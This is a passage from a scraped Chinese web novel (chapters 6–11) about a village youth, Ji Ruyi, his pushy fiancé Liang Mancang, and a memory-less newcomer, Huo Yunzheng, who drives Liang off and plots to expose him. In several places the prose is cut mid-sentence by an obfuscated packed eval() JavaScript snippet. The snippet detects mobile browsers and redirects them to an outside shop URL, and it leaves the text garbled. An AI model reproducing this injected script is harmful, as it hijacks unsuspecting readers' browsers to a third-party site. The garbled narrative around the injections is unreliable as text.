霍秀兰也会变着法地给霍云铮做东西吃，可农户人家没吃过那么多好东西，自然做不出太多的花样来。他们所认为的将菜做的好吃，无非是多放一些油和盐。至于花样，也不会做，翻来覆去只那几道菜。 这时候的调料也贵，很多人家为了省钱，自然舍不得买调料，做出来的菜味道也差一些。霍秀兰为了霍云铮还特意买了些调料，但做出来的菜也不太尽如人意。 霍云铮一上桌就夹了一口饺子，他早就盯着那些饺子了。一放到嘴里，霍云铮瞬间瞪圆了双眼，就算他不记得了，那他也敢说，这绝对是他吃过最好吃的饺子！ 张秀才以前也没吃过什么好的，不过自从他考上秀才以后，免不了会有一些应酬，便吃到了很多以前没吃过的东西。而且现在的条件也比过去好了些，平时在家里吃食方面也有所改善。 他随意夹了块榛蘑，放进嘴里，榛蘑特有的香味混合着野鸡肉的肉香瞬间溢满口腔。 “这道菜做的真好吃。”张秀才甚至都没等菜咽下去就夸赞道。对于他们读书人来说，嘴里有东西说话是一种失礼的行为，可实在是太好吃了，他顾不上这些了。 姜临笑道：“那几个炖菜都是意哥儿做的，饺子也是意哥儿包的，只有那三道炒菜是我做的。” 姜临在别人面前总是不吝夸赞自家儿子，也不是他硬夸，吉如意确实有被夸的资本。 饶是被当着这么多人的面夸赞，吉如意还是有些不适应，悄悄羞红了脸。他低头扒拉了一口饭，偷偷地看了梁满仓一眼。 霍云铮看在眼里，喝了一口闷酒。 农家酒浑，度数也不高，味道也比不了霍云铮曾经喝过的琼浆玉液。脑子不记得了，舌头还记得。 霍云铮勉强将杯中酒喝完便不肯再喝了。 大家说说笑笑，饭桌上的气氛十分融洽。吉上进今天的状态不错，许是人多吃饭香，他今天还多吃了一些。 “张秀才，过些日子可是要去往府城读书啊？”吉上进问道。 “正是，本来这几天就要走的，但眼下雨水太大，只能再过段日子了。”张秀才说道。 “多在家待段时间也好，这一走还得好久才回来。”姜临是站在一个父亲的角度来看待这件事。儿女要远行，双亲自是舍不得的，恨不得出行的时间再晚些才好。 霍云铮趁着别人说话的功夫又多加了几块榛蘑吃，不是他贪嘴，实在是榛蘑太好吃了。比起里面的野鸡肉，他更喜欢榛蘑。 吉上进感叹道：“听如意回来说，今年雨水特别大，百年难遇。很多地方都遭了灾，只怕会减产甚至绝收，日子不好过啊。” 吉上进农户出身，虽然今年他们家里的庄稼没有被淹，但看到别的庄稼被淹，心里还是很不好受。 张秀才安慰道：“朝廷不会坐视不理的。” “那些整天只会吃喝玩乐的官老爷们怎么能管这些芝麻大的事？” 梁满仓一直很沉闷，从进门到现在只偶尔说几句话，也不多。自坐上饭桌到现在，除了夸奖一句菜做的好吃以外，这还是说的头一句话。 吉如意看了他一眼，微微皱了下眉。 “梁兄所言差矣，”张秀才将筷子放在一旁，挺直了身子正色道，“朝廷已经派人来救灾了，来的还是太子。” “太子？”桌上众人异口同声地说道，显然都吃了一惊。 霍云铮拧了一下眉，这个称呼很熟悉，就好像经常有人在他耳边提一样。 姜临道：“朝廷竟然让太子过来救灾，可真是将我们老百姓放在了眼里。” “正是如此，”张秀才点点头。 梁满仓道：“太子懂庄稼怎么种吗？知道那棵是草那棵是庄稼吗？别是来添乱的吧。再说了，他整日吃好的喝好的，身边又有人伺候着，肯定吃不了苦，只怕他来了也不是治理水患的，怕是来享乐的。” 霍云铮有些激动：“太子不是这样的人！” 一众人又朝他看去，霍云铮也不知道方才自己为何那么生气，见大家都瞧过来忍住了火气，不再说什么了。 张秀才又将目光收回看向梁满仓：“我听说太子在治理水患时不甚跌落水中，若非只贪图享乐，又怎会去往险地？” 吉上进与姜临相互对视一眼：“太子落水了？那现在怎么样了？” 吉如意也说道：“说起这个我倒是想起来了，之前我去往府城给大爹爹找大夫，好像是听到了太子落水的消息。” 那时他心里只有吉上进的事，这事只听到了一耳朵就过去了，后来也忘记说了。 梁满仓嘟囔道：“谁知道他是不是以为那里好玩就非要去玩啊，没想到河水可不管他是不是太子。” 吉如意看了梁满仓一眼，又说道：“自陛下登基以来，为咱们做了多少好事。我听爹爹们说，遇到灾年咱们的赋税就会减很多，甚至不收，这事以前从来没有过的。不说别的，就说咱们大吉村，现在的日子可比我小时候好过多了。” 听到吉如意如此说，霍云铮方才那点儿莫名的情绪突然烟消云散了。 7. 第七章 梁满仓张开嘴刚说出一个字，又憋了回去。还没有成亲，必须要忍。吉如意竟敢当着这么多人的面顶撞他，一点儿面子都不给他留，等成亲了，他一定好好教训教训他，让他知道知道什么是以夫为天！ 霍云铮看向梁满仓，他额头上青筋直起，显然是气得不行的样子。至于为什么生气，生的谁的气，自然是显而易见的事。无非是觉得吉如意没给他面子，竟反驳了他的话。他方才那一句是想反驳，碍于俩人还没成亲，便忍了下来。 这样的人怎么能配得上吉如意？无论相貌和品性，都是一个天一个地。 唉！ 霍云铮喝了一口闷酒。 姜临挺好奇此事：“那太子被救上来了吗？” 后来的事吉如意并不知道，张秀才也不知道，只说这事便没人再提了，可能是找到了，也可能没找到可能是朝廷封锁了消息。 几人又说了几句，便将话题聊到了今年的庄稼上面。农户人家最重视的就是庄稼，那是他们的命。 至于朝廷派谁来治理水患，太子有没有被救上来，谁做了皇帝他们都不在乎。只要是坐在那个位子上的人能减轻他们的负担，让他们的腰包更鼓，对他们来说就是好皇帝。 一顿饭吃的宾主尽欢，霍云铮和张秀才回去了，梁满仓留下来帮着吉如意收拾残羹剩饭。 姜临直赶他：“哪里还用得上你来，这些东西和我如意就能收拾，不费什么劲的。天色已经不早了，你快些回去歇息吧。” 梁满仓假意推辞了一番，这才“勉为其难”地打算回去。 吉如意将手从盆里捞出来，甩了甩水：“小爹爹，我去送送他。” “去吧。”姜临笑了一下，并没有打趣儿子。他知道吉如意面皮薄，说多了该不好意思了。小两口感情好，他们当老的才高兴呢。就算吉如意没有想送他，他都得让他去，得多培养培养感情，婚后的日子才会越来越好。 此时太阳已经落山，喧嚣了一天的村庄逐渐沉寂下来。 俩人并肩慢慢走着，谁都没有说话。吉如意有心想说些什么，又不知该说什么。这种事情，总该汉子先开口的。 到了大门口时，吉如意道：“你走吧，我锁门。” 梁满仓没走，忽然伸开胳膊朝吉如意扑了过来。 吉如意吓了一跳，急忙闪到一旁：“你干什么？” “让我抱一下。”梁满仓语气轻佻。 本就生得一副好颜色的小哥儿，在月光的映衬下显得更加娇媚可人。梁满仓喝了些酒，便有些把控不住自己。 反正再过几日俩人就成亲了，抱一下又能怎么样？ “你！”吉如意被吓了一跳，他没想到梁满仓会想要抱他。本来还觉得送他出门挺温情的，现在只余一片寒冷。 若说是拉拉小手那倒是可以的，可，可他现在竟然想抱自己，这怎么能行！就算他们是未婚夫夫也是不行的。 梁满仓笑嘻嘻的：“意哥儿，咱们俩马上就要成亲了，抱一下又能怎么样？” “不行！”吉如意坚决不允许，他听说过有些哥儿或姐儿，以为和汉子定了亲，反正迟早要嫁过去的。就偷偷和汉子先试了，哪承想过后就被汉子抛弃了。出了这种事情，伤害最大的是哥儿和姐儿，甚至连家里人都容不下他们，走到哪里更是被人指指点点，下场都很惨的。反观汉子，该娶妻娶妻，什么事都没有。 梁满仓自然不肯放弃，现在已经是酒精头，又朝着吉如意扑了过去，誓不抱到吉如意不罢休。 梁满仓又往前一扑，将吉如意困在院门上，压的木制门咯吱一响。 吉如意奋力地用手抵住他，低喝道：“你别乱来！” 他不敢大声说话，生怕被两个爹爹听到这边的动静。 梁满仓有些不悦：“抱一下又能怎么样？你我都定了亲，怎么还扭扭捏捏的？” 吉如意的双手死命地抵住他的前胸，言语中已经有了不快：“就算是定亲了也不能！” 小哥儿涨红了脸，抓在他胸前的双手就像挠痒痒似的。这么一想，梁满仓更兴奋了。不再去想着抱吉如意，转而去摸他的手。 吉如意的手又滑又软，梁满仓摸了一把就浑身酥麻。本来他只是想抱他一下而已，这会儿却更加放肆。 吉如意惊地抽回了手，又羞又恼，一个巴掌高高扬起。 “你打，你还想打你的夫婿！” 停了片刻，吉如意的手无力地垂了下来。 梁满仓更是得意，原本就想抱一下的，现在不亲一下怎么行？最好还能摸一把身子，那双手都勾人心魂，若是摸一下身子不得上了天？ 趁着吉如意愣神的工夫，梁满仓又往前逼近几步，将他揽在怀里。 吉如意手忙脚乱地推他，忽然，脚下传来一阵“嘶嘶声”，有条蛇不知从哪窜了来，落到了梁满仓的后脖颈处。蛇吐着信子，甚至还想往梁满仓的衣服里钻。 “啊，蛇！” 吉如意吓得跳了起来，梁满仓也顾不得吉如意了，想将那条蛇从身上甩下来。 吉如意忙趁着这空急急忙忙回了院里，将院门插上，飞也似的跑了。 等梁满仓摆脱了蛇后，已不见了吉如意的踪影，气得只好走了。 又过了一会儿，霍云铮从一旁的树后走出，看着紧闭的院门叹了口气。 他本来是与张秀才一起走的，出了门后他听到不远处有蛇的声音，就过去瞧瞧。 蛇可以卖钱，何况万一是毒蛇呢，在吉家的门口岂不危险？不管出于哪个原因，霍云铮都让张秀才先走了，他则过去瞧瞧。 那蛇正捕捉老鼠，幸好是只无毒的蛇。霍云铮将蛇抓住刚要走，恰好吉如意和梁满仓从院里走来。二人间发生的一切全都瞧在了眼里，又无法出去阻止。 若是他出去帮忙，梁满仓反咬一口，说他和吉如意是不是早就勾搭在一起了，这可就说不清了，反而好心办了坏事。 正在焦急间，他顺手将蛇一甩，甩到了梁满仓的脖子上。 见吉如意因此脱了身，这才放心下来。 快到房门口时，吉如意深深吸了几口气，平复了一下心情以后这才推门进去。 “满仓走了？”姜临正在刷碗，瞧见吉如意开门进来，随口问了一句。 吉如意轻轻嗯了一说，没有再说什么。 姜临倒也没在意，只以为儿子害羞，便什么都没说。 “小爹爹，你去照顾大爹爹吧，我来刷。”好在屋内昏暗，油灯发出的丁点儿亮光照得并不真切，姜临没有注意到吉如意有什么地方不对劲。 “就这几个碗，我几下就刷完了，不用占你的手了，你洗洗睡吧。” 姜临心疼吉如意，没有让他来干。 吉如意硬是从姜临手里将活抢了过来：“你都累了一天了，早点儿休息吧，我还不累呢。” 姜临确实是有些累了，现下农活虽不多，可农户人家哪有真正闲下来的时候，每天的琐碎活就耗费了很多时间。他还要照顾吉上进，自然是更累的。 吉如意执意要刷，姜临便没有再和他抢。拿起布巾一边擦手一边笑道：“再过几天，等你和满仓成了亲就好了，咱们家也多一个人，多少能轻快些。” 吉如意没有说话，好在姜临并没有打算和他在这个问题上多聊，等擦干了手回屋去了。 吉如意刷完的动作一点一点慢了下来，与梁满仓定下亲事以后他也曾幻想过婚后的日子。 他俩努努力，好好干，几年就能将外债全还完。再生下几个孩子，不管是汉子，哥儿还是姐儿，他都送他们去读书，没指望能读出个名堂来，识得字，会算账就行。这样到镇上也能找个轻巧些的活计，然后再种些地，日子就能过起来。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396393|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算哥儿或姐儿去镇上很难找到活干，也是要学的，识得一些字总是好的。 当然，如果汉子是块读书的料，他就拼劲全力去供。 可…… 梁满仓今日在桌上说的话，在门外的表现，打破了他对未来日子的幻想。他真的是位良人吗？ 吉如意眨眨酸涩的眼，他才不哭呢。他飞快地将碗筷刷好收拾好，洗漱后回了自己房里躺下了。 吉如意翻来覆去地睡不着，反复在想方才的事情。梁满仓的做法实在太过失礼，有那么一瞬间，他想退婚了。 然而退婚并非那么简单，不消说退了婚的小哥再很难找到婆家，只说大爹爹现在这种情况，眼看着他知道自己的亲事成了精神一点一点地好了起来，如果退婚他肯定会受不了的，说不定…… 也许是梁满仓喝多了，所以才……吉如意轻轻叹口气，他素来认为，酒是很多人掩盖罪恶行为的借口。 小爹爹曾说过，两个人过日子没有枝是枝蔓是蔓的，有些事就得睁一只眼闭一只眼。吉如意自我安慰了许久，梁满仓又没有抱别人，事情还没有糟到要退婚的地步。不如再给他一次机会，这几天再好考验考验他。如果他其他方面的表现还行，今晚的事就这么过去吧。 唉！ 对了，刚才梁满仓被蛇爬了脖子，他在惊乱中看了一眼，那是条无毒的蛇，梁满仓不会有什么事了，但总归是受到了惊吓，明天早上去大伯家看看他，今晚还得好好想想该怎么考验他…… *** 农户人家起得早，鸡一叫就起来了。 姜临去给吉上进熬药，吉如意做早饭，熬了一锅杂粮粥，又烙了几张油饼，将昨晚剩下的菜热一热，就是一顿早饭。 油饼是用白面烙的，不薄不厚，恰到好处。很多人家都舍不得这么吃，白面精贵还费油。吉如意是为了给吉上进补身子，才这么吃的。 “昨天的野鸡蛋是霍家那小子拿来的？”吉上进问。 “是他拿来的，”姜临说道，“你别总是霍家小子霍家小子的叫，人家有名字，叫霍云铮。” “知道了，”吉上进笑了笑，他最近的精神都还可以，比前些阵子强多了，“府城里的人起的名字就是和咱们不一样。” 看着吉上进的状态，吉如意昨晚的郁结稍稍轻快了些：“怎么不一样了？” “一听就是府城里的人呗。”吉上进道。 三人笑了一回，吉上进又问：“满仓拿什么来的？” 姜临道：“是菌子。” 吉上进点点头：“也是个有心的孩子。” 东西贵贱不重要，只要心意到了就好。 “小爹爹，地里该除草了吧？”吉如意忽然道。 姜临道：“前些日子我去看来着，地里的草不多，何况现在庄稼都大了，有些草也不防事的。” “还是要除掉的，一会儿我去找梁满仓。”吉如意几乎一夜未眠，都在想梁满仓的事情。如果在昨天之前，他是断不会去让梁满仓现在就去干活的，怎么着也得等到俩人婚后再干活，现在就将此事作为他的一个小小的考验吧。 “你这孩子，叫他干什么活啊，这还没成亲呢。”姜临果然很不赞同。 “庄稼可不等人，左右他现在也没什么事，无非就是去山上挖挖野菜。”吉如意喝了一口杂粮粥，“婚事方面也用不着他操心。” 梁满仓是入赘，又没有父母亲族，成亲那日要穿的衣服，准备的东西都不用他操心，全都由吉家一手包办了，只等着成亲就好。 姜临还是有些迟疑：“那也不能……” “小爹爹你一会儿不是还要去镇上吗，就不要操心家里的事了，你放心好了，我心里有数的。” 姜临对自家儿子自然是一百个放心，也就不再多说什么了。他去镇上打算买一些吉如意成亲所用之物，得早些去才是。 8. 第八章 送走了姜临，吉如意一溜烟到了吉勤奋家，他今天特意起的比往天早，就是为了赶在梁满仓上山之前堵住他。 到了吉勤奋家门口，正好碰到吉自强在开门。 “大伯，早啊，吃饭了吗？”吉如意打着招呼。 “没呢，你大伯娘她们正做着呢。”吉勤奋侧身让吉如意进来，“你们吃完了？” “嗯，吃完了，我小爹爹今天要去镇上，就比平时早了些。” 吉如意进到院里，吉勤奋的几个小孙子小孙女你追我赶，打打闹闹，玩的不亦乐乎。小孩子就是精力旺盛，早上睁眼跑到晚也不嫌累。 瞧见吉如意来了，纷纷叫了声小叔便又去一边玩去了。 吉勤奋生有两儿一女，都已成家立业，两个儿子没分家，都住在一起。 吉自强和吉自立在扫院子，吉如意叫了声大哥和二哥。 吉勤奋家里人口多，房屋少，却不显得破败和脏乱，家里人和气，干活也不推三阻四的，劲往一处使，日子不愁过不起来。 几个孩子淘气地去撵鸡，母鸡惊吓地发出一连串的惨叫。 “说了多少遍了不许撵鸡！鸡都让你们撵炸营了！以后该不下蛋了！”王秋菊大喝着从房里 走出来，打算收拾一下这群皮猴子，一瞧见吉如意来了，声音软了下来，“来找满仓？在屋里呢。” 吉如意往屋里走，故意发出了一些动静，梁满仓忙从炕上坐起来。 “意哥儿。” “一会儿吃了饭来我家一趟，有事找你。” “那好，我一会儿就过去。” “嗯。” 吉如意并没有多待，出来的时候王秋菊留他：“意哥儿，别急着走啊，在这儿吃点儿。” “不了，我在家吃过了。”吉如意拒绝道。 “那也多少吃点儿再走。”王秋菊还有意再留他。 吉如意当然不肯吃：“不吃了，大伯娘我先走了，回去还要照顾我大爹爹呢。” 梁满仓来得倒是很快，吉如意将手里的活计放下，走了出去。 “意哥儿，找我什么事？”梁满仓完全不提昨晚之事，仿佛从未发生过一般。 自吉如意走了以后，梁满仓就在想他因何事找他，想来想去应当是昨晚的事。 打定了主意不打算承认。 吉如意做出一副关心的样子：“昨天那蛇吓坏你了吧。” “蛇，什么蛇？”梁满仓拧着眉毛看起来什么都不知道。 吉如意也微微蹙眉。 “你不记得了？” “昨晚喝了些酒，喝酒之前的事都记得，喝酒以后的事就什么都不记得了。”说着，梁满仓还敲敲脑袋。 吉如意不太信：“你以前喝酒也这样？” 梁满仓摇摇头：“以前穷，从来都没喝过酒，昨天是第一次喝。” 吉如意满肚子疑惑，喝完酒就什么都不记得了？忽然又想起大爹爹曾经说过村里有个人酒品不好，平时好好的人，一喝多就惹祸，就跟变了个人似的。酒醒了却什么都不记得。好像说那叫喝断片了，这人每次酒醒后都会后悔，诅咒发誓地说以后再也不喝了，可没几天还去喝。 难道梁满仓也是这样？吉如意将信将疑。 他说道：“地里有些荒了，你现在也没有短工可打，不如去地里除除草，等以后找到了短工两头都不耽误。” 梁满仓差点儿裂开，拒绝的话尚未说出口，只听吉如意又道：“我知道咱们还没成亲就让你干家里的活是有些不好，我也不光是为了自己，咱们马上就要成为一家人了，就该想着怎么把日子过好。要想日子过起来，单靠一个人万万不能够的，需要一家人的努力。你想着我，我想着你才行。这是我给你做的衣服，你比量一下大小，合适的话我就接着做了，不合适的话我要抓紧去改。” 说着，拿过做了一半的衣服就往梁满仓的身上比划。梁满仓被吉如意一连串的动作弄得一句话都没说出来，只能任由他的摆布。 憋了半天才说道：“可，可我还要去挖野菜卖，我总要再攒一些银子的。” “野菜能卖几个铜板，把地伺候好了卖的银子更多。”吉如意仔仔细细比量着衣服，“再说了，小爹爹看你没成亲就如此能干，好处肯定少不了你的。你看看这布料，平时我们都舍不得买，是小爹爹特意为你买的，他今个又去镇上了。” 庄户人家的衣服几乎都是买布料自己做，很少买成衣，会省下不少的铜板。 吉家虽欠了外债，作为唯一的哥儿的终身大事，该置办的东西还是要置办的。前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396394|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些日子姜临就已经到镇上买了一些东西回来，包括布料。他打算让小夫夫各做两身新衣服，吉如意已经做了几天了。先将拜堂那天的赶出来，剩下的等成亲后再做也不迟。 梁满仓的眼睛滴溜溜转了几圈，认为吉如意说的在理，便很痛快地答应了下来。 吉如意也很高兴：“中午和晚上回家吃，我给你做好吃的。” 梁满仓看着吉如意的笑容又有些蠢蠢欲动，伸手过去时，吉如意拿着衣服走了。 “肩这里有些窄了，我再放宽些。走吧，我带你认认咱家的地。” 梁满仓扛着锄头，跟在吉如意身边，俩人在村里走的时候，正好瞧见了霍云铮。 “上山啊？”吉如意打着招呼。 “昨天我在山上布置了几个陷阱，去看看有没有收获。”霍云铮看着吉如意欲言又止，目光又落在了梁满仓扛着的锄头上，“这是去地里？” “是啊，满仓看到我家地有些荒，他说左右现在一时找不到短工，就到地里除除草，要不然草长起来了，庄稼的产量就下降了。” 吉如意故意说成是梁满仓主动要求去的，果然，梁满仓得意洋洋。无论是小哥儿还是姐儿，就是要在外面给足了汉子的面子。做出入赘的这个决定果然没错，原以为吉如意只是长得好看，没想到他竟这般懂事。有这样一个夫郎，到哪里都拿得出手，自己的面子也有光。 霍云铮又看了梁满仓几眼，苦涩道：“那你们去忙吧。” 说完转身就走，他不明白发生了昨晚那样的事，吉如意怎么还能与他言笑晏晏的？ 几乎一步一个脚印，脚步踩的很重。 上山的路上，霍云铮满脑子都在想这件事。终于捋出了一丝头绪，虽说梁满仓的举动过于无理，可俩人已经定了亲。这事说大不大，说小不小，梁满仓是想要抱自己的未婚夫郎，又不是想抱别人。吉如意就算对此事再不满，也只能忍下。还是那句话，俩人已经定亲了。 自打知道吉如意定亲的那刻起，霍云铮无时无刻不在劝着自己死了这条心。晚了一步，终究是有缘无分。 吉如意明明不同意，梁满仓还是要强迫。没有成亲就这样，若是成了亲，指不定会怎样呢？梁满仓绝非良人！ 既然这样，就别怪他想松松土了。 9. 第九章 今天只有霍云铮一人上山，俩兄弟被霍秀兰派去地里锄草了。 前两处陷阱没什么大的收获，只有一只野兔，最后一处陷阱里竟然有一只野山羊！ 霍云铮惊喜万分，小心翼翼地将羊拽了上来。 这是一只强壮的公山羊，虽伤了一条后腿，却不挡其凶悍，甚至想要用羊角去顶撞霍云铮。 霍云铮双手按住羊角，一个用力，死死抵住，气得山羊“咩咩”嗷叫，两只前脚死劲往前顶，奈何力量悬殊，动弹不得。 霍云铮用绳子结结实实地将野山羊捆上，牵着绳子的一头，拽着野山羊往前走。 山路本就难行，野山羊又和他较劲，走的慢又累。 霍云铮干脆将野山羊抗在肩上，野山羊蹬了几下腿后也就不闹腾了。 他一手扛着野山羊，一手拎着兔耳朵，朝着山下走去。 一路上遇到了不少人，瞧见霍云铮肩上的野山羊无不张大了嘴巴。 “乖乖，这是你打来的？” 说话是刘家的老夫郎，年纪已经很大了，花白的头发，手里拄着根拐杖。儿子儿媳都孝顺，他没什么烦心事，经常在村里子溜达着聊天。 与他在一起的，还有一些老夫郎、老婶子。 “是啊，今天运气好，打到了一只野山羊。” 霍云铮并未停留，说过话后就走了。 有很多人还不认识霍云铮，有那认识的，简单说上几句，当他们再看霍云铮时眼神可就不一样了。 很多农户都认为家境富裕的老爷少爷们都是肩不能扛，手不能提的。霍云铮能扛起一只野山羊来，实在是令人震惊。更何况他看起来高高瘦瘦，一副小白脸样，怎么看怎么不像能干力气活的。 话还没说完人就走了，这群老夫郎、老婶子们当然不肯放过，全都跟在霍云铮身后问这问那的，他们就是聚在一起闲聊，也没有正经事可干，在哪聊都是聊。 “这野山羊怕是有二百斤吧。”有个老太太说道。 “怕是不止，我看得有二百多斤。” “小伙子力气真大。” “二百多斤的东西算什么？随便一个汉子就能扛动，哪个汉子没扛过大包呢？”有个老夫郎反驳道。他所说的大包是秋收时家家装粮食扛的，并不是去镇上打工扛的大包。 “你这话说的，那粮食是死物，山羊是活的，还能动呢，扛死物和扛活物也不一样，又是从山上下来的。你看这小伙子脸不红气不喘的，就知道有把子力气。” 大家你一句我一句的，跟在霍云铮身后说个不停。 到了吉如意家门口，霍云铮站住不走了。别人只当他累了，想休息一下。 “府城的人和咱们就是不一样，真有本事。” “谁说不是呢，还会打猎呢，咱们村会打猎的可没几个。” “这下可好了，最近这几年不知道哪来这么多野猪，一到秋收时就来，嚯嚯了不少庄稼。霍家小子会打猎，可得多打几头野猪，少让它们嚯嚯庄稼。咱们种点儿田可不容易，可不能让野猪嚯嚯了。” “那可不，我家的地去年就让野猪糟蹋了不少，急得我几天没吃下去饭。” “府城人和咱们这些庄稼人就是不一样，你们看看这才来了几天，就能捕到这么大的山羊了。” “小霍个子可真高，咱们村好像没谁比他高的吧。” “不光没谁比他高，长得也俊啊，我活了这么大岁数还是头一次见到这么俊的小伙子。” “张秀才长得也不赖。” “张秀才没他高啊，还是小霍更俊些。” 大家你一言我一语的说着，惊动了屋里的人。 吉如意放下剪子，好奇地伸脖子往外面看。 吉上进咳嗽了一阵，问道：“外面怎么回事啊？” 吉如意给他倒了杯水：“我去瞧瞧。” 家门口聚了这么多人，想必是有什么事。 霍云铮用余光瞧 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小哥儿如此善解人意，霍云铮愈发觉得梁满仓配不上他。 “好大的野山羊。”吉上进看着挣扎着要起来撞人的野山羊笑道，“还挺凶，还有只兔子呢。” 霍云铮想把兔子送给吉如意，奈何师出无名。如果吉如意没定亲，送也就送了，他已经定了亲，自己再送就显得孟浪，这样做和梁满仓有什么区别？ 想了一下问道：“不知道这兔子怎么做才好吃？” 吉如意说道：“要是能吃辣的，就做麻辣兔肉，要是不能吃辣的，红烧或者是用火细细烤了都好吃。” “意哥儿的手艺真是不错，”霍云铮忙道，“不如这样，你帮我把这兔肉炖了，我端回去一半，剩下的一半给你们留下，权当是费用了。我大姑姑忙着伺候地，也没空做这些精细的菜，就拜托你了。” 10. 第十章 生怕吉如意不同意，霍云铮连忙搬出霍秀兰。 吉如意推辞道：“我不要你的兔子，做好了你只管都拿走就好。”乡里乡亲的，相互搭把手帮个忙都是常事，何况他还记得他家拜托霍云铮帮忙相看一事。 霍云铮说道：“这油，盐，调料还有柴火都用的是你家的，做一次兔肉也得花费个几文钱，更何况你做这个还需要耗费时间，这也是需要银子的。” 确实如霍云铮所说，做一顿兔肉不像做一顿家常饭那样简单，除了油盐以外，调料也贵。大吉村很多人家舍不得买调料，做菜时放一些粗盐就算是调味了。他家先时日子过得好，姜临又认为买一包调料能用上很久，就没有在这上面节省银子。 距离午饭的时间还早，霍云铮也没什么理由继续留在这里，扛起野山羊就要走。刚走了几步又停了下来，回头笑道：“我大姑他们一早上了地，这时恐怕还没回来，我没有钥匙。” 吉上进道：“正好，别走了，和我说说话吧。” 霍云铮乐得答应下来，他把野山羊放到了阴凉处，拿着凳子坐在吉上进身边。 吉如意看了看，拿着一豁牙碗倒了水放在野山羊头前。 “别浪费那碗，它渴一会儿没事的。”霍云铮连忙说道。碗让羊用了，人就不用再用了。对于庄稼人来说，一副碗筷都十分珍贵。 “这是狗碗。”吉如意解释着。 狗碗就没事了。 霍云铮四处看看：“狗呢？我怎么一直没瞧见？” 霍云铮来了吉家好多次，也没见吉家有狗。 吉如意的语气里带着一丝难过：“前阵子丢了，不知道哪去了。” 那是他养了好久的狗，突然有一天不见了，怎么找也没找到，只怕是被人偷走吃了。 霍云铮后悔多嘴一问，这不是往人家的伤口里撒盐吗？ 正想着还该怎样说时，吉上进打断道：“如意，你忙你的去吧，这里用不着你。” 吉如意答应着回了屋里，继续缝制着衣服。 吉上进对霍云铮道：“离如意成亲的日子没几天了，婚衣还没做完，这几天忙着做呢。” 霍云铮的一颗心就像在醋缸里泡过一般，酸溜溜的。 “意哥儿真是心灵手巧。”这句话是出自真心的。 俩人坐在外面的屋檐下说着闲话，吉如意在屋里赶制自己的新衣。 一只母鸡突然从窝里钻出来，发出响亮的咯咯哒声。 又拍着翅膀在鸡窝旁走来走去，叫了一阵后，拍着翅膀飞了下来，往前出溜了一块，留下一排浅浅的、杂乱的爪印。 而后，又围着食盆咯咯哒了几声，这才终于安静地进食。 这一连串动作，生怕谁不知道它下了蛋似的。 吉如意从屋里走出，到鸡窝里摸出了那颗蛋：“还热乎着呢。”他笑道。 笑容明媚多姿，如艳阳般耀眼。 霍云铮抬头看看碧蓝如洗的天，也跟着笑了。 吉上进坐了一会儿就感到精神有些不济，霍云铮扶着他到屋里躺下。 吉如意听到动静后放下手中活计，见霍云铮将吉上进照顾地很好，便没有再插手，在心里将霍云铮赞扬了一番。 现在也该到了做饭的时间，吉如意洗了手，一手拿着菜刀，一手拎起兔耳朵。 霍云铮忙道：“我来杀。” 貌美娇弱的小哥儿，定是干不得这种血腥事的。 吉如意笑道：“你定是记不起怎样杀兔子了，还是我来吧。将兔皮完整地剥下来还能卖银子呢，如果剥破了就不值钱了。” 其实吉如意想的是，像霍云铮这种出身富贵人家的公子，定是从来没有自己动手杀兔子。 霍云铮还想再说什么，见吉如意手起刀落，兔子就不动弹了。而后麻利地将皮完整地剥了下来，拿给他看：“鞣制皮子我不会，这你得自己想想办法了。你可以去问问陈猎户，他会的。” “哦，好好。”霍云铮怔愣地接过皮子。 霍云铮这才从吉如意杀兔剥皮的震惊中回过神来，他虽不记得以前的事了，可他总觉得像吉如意这样的，他定是头一次见，以前见过的小哥儿都是那种，兔兔这么可爱，怎么可以吃兔兔？ 吉如意的脸上不小心溅了一滴血，一手拎着剥了皮的兔子。霍云铮不觉得惊悚，反而更喜欢了呢。 “做□□怎么样？我再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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本来锄了一上午的地满肚子的怨言，这会儿瞧见这只羊全都没了。那可是羊肉啊，长这么大只吃过一次，那美妙的滋味到现在都不能忘呢。 吉如意听到声音，拎着锅铲出来了：“那是霍云铮从山上打来的，大爹爹瞧见了，便想看一看。正赶巧他大姑没在家，他进不去屋子，就在咱家等一等。” 梁满仓一听不是吉家买的啊，瞬间大失所望，嘴里嘀咕了一句，踢了野山羊一脚，吉如意没瞧见，霍云铮却瞧见了。 11. 第十一章 踢吧，我看你能嚣张到几时？霍云铮将眼撇过一旁，看向忙碌的吉如意，露出一抹势在必得的笑容来。早在陷阱里看到这只山羊的那一刻，他就想好了怎样引梁满仓入套。 想要松土，自然得从梁满仓下手。等他将野山羊卖了，他就拿着银子请梁满仓去镇上吃饭。梁满仓德行不好，他之前定是还做过什么缺德的事。到那时多灌他些酒，不怕他不说。当然，如果从他嘴里真问不出什么来，他还有其他的法子。 总之，这只羊会成为梁满仓的催命羊。 “快洗洗手吧，估摸着小爹爹也该回来了，等他回来了咱们就吃饭，”吉如意转身将锅铲放在灶台边，又将脸盘端出来，“今天有兔肉吃。” 